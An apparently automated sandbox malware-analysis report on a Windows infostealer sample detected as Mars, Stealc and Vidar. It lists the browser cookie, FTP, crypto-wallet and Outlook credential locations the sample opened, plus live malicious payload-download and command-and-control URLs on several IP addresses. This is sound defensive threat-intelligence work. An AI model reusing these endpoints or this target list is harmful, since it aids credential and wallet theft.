Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1858205526.0000000000D56000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1jPL5zru3u.exe PID: 6980, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1858205526.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1860013089.00000000019F4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1jPL5zru3u.exe PID: 6980, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.1jPL5zru3u.exe.cb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1858205526.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1jPL5zru3u.exe PID: 6980, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	11 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	251 Virtualization/Sandbox Evasion	LSASS Memory	661 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	4 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	251 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	236 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1jPL5zru3u.exe	100%	Avira	TR/Crypt.ZPACK.Gen
1jPL5zru3u.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://77.91.77.82/Hun4Ko/index.phpO	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpE	0%	Avira URL Cloud	safe
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe	100%	Avira URL Cloud	phishing
http://77.91.77.81/cost/go.exe	100%	Avira URL Cloud	malware
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpI	0%	Avira URL Cloud	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/softokn3.dll9	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.phpY	0%	Avira URL Cloud	safe
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpsJ0	100%	Avira URL Cloud	phishing
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/softokn3.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/mozglue.dll	100%	Avira URL Cloud	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/nss3.dll	100%	Avira URL Cloud	malware
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe	0%	Avira URL Cloud	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	Avira URL Cloud	safe
http://www.sqlite.org/copyright.html.	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	100%	Avira URL Cloud	malware
http://77.91.77.81/mine/amadka.exe-Disposition:	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.php6	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe00	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/freebl3.dll	100%	Avira URL Cloud	malware
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware
https://mozilla.org0/	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	100%	Avira URL Cloud	malware
http://77.91.77.81/cost/go.exeData	100%	Avira URL Cloud	phishing
http://77.91.77.81/cost/go.exe00	100%	Avira URL Cloud	phishing
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.phpi	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.phpq	0%	Avira URL Cloud	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
http://pki-ocsp.symauth.com0	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpg	0%	Avira URL Cloud	safe
http://85.28.47.4	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.phpx	0%	Avira URL Cloud	safe
85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.81/mine/amadka.exe	true	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.php	true	Avira URL Cloud: phishing	unknown
http://85.28.47.4/69934896f997d5bb/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.php	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	true	Avira URL Cloud: malware	unknown
85.28.47.4/920475a59bac849d.php	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	DGHDHIDGHIDGIECBKKJJJEHCFC.0.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe	1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.phpO	explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpI	explorti.exe, 0000000A.00000002.2897406345.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	1jPL5zru3u.exe	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpE	explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001B48000.00000004.00000020.00020000.00000000.sdmp, DBKFHCFBGIIJKFHJDHDH.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/softokn3.dll9	1jPL5zru3u.exe, 00000000.00000002.1860013089.00000000019F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	1jPL5zru3u.exe	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	1jPL5zru3u.exe, 00000000.00000003.1726152515.00000000230BD000.00000004.00000020.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000DFA000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpY	explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpsJ0	explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	DBKFHCFBGIIJKFHJDHDH.0.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000DFA000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe	1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000DFA000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001B48000.00000004.00000020.00020000.00000000.sdmp, DBKFHCFBGIIJKFHJDHDH.0.dr	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	1jPL5zru3u.exe, 00000000.00000002.1876202347.000000001D13D000.00000004.00000020.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889134366.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exe-Disposition:	1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.php6	explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exe00	1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.mozilla.com/en-US/blocklist/	1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001B48000.00000004.00000020.00020000.00000000.sdmp, DBKFHCFBGIIJKFHJDHDH.0.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exeData	1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/cost/go.exe00	1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001B48000.00000004.00000020.00020000.00000000.sdmp, DBKFHCFBGIIJKFHJDHDH.0.dr	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.4.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	1jPL5zru3u.exe, 00000000.00000003.1726152515.00000000230BD000.00000004.00000020.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000DFA000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DGHDHIDGHIDGIECBKKJJJEHCFC.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4	1jPL5zru3u.exe, 00000000.00000002.1860013089.00000000019DE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.phpi	1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001A2D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpq	explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001B48000.00000004.00000020.00020000.00000000.sdmp, DBKFHCFBGIIJKFHJDHDH.0.dr	false	Avira URL Cloud: safe	unknown
http://pki-ocsp.symauth.com0	1jPL5zru3u.exe	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpg	explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpe	explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	DGHDHIDGHIDGIECBKKJJJEHCFC.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpx	explorti.exe, 0000000A.00000002.2897406345.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
85.28.47.4	unknown	Russian Federation	31643	GES-ASRU	true
77.91.77.82	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1464487
Start date and time:	2024-06-28 22:31:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1jPL5zru3u.exe renamed because original name is a hash value
Original Sample Name:	b3badd1cd2cba4f587bd6737d34d3569.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@15/27@0/3
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target CAEHDBAAEC.exe, PID 928 because it is empty
Execution Graph export aborted for target explorti.exe, PID 7324 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 7768 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 1jPL5zru3u.exe

Simulations

Behavior and APIs

Time	Type	Description
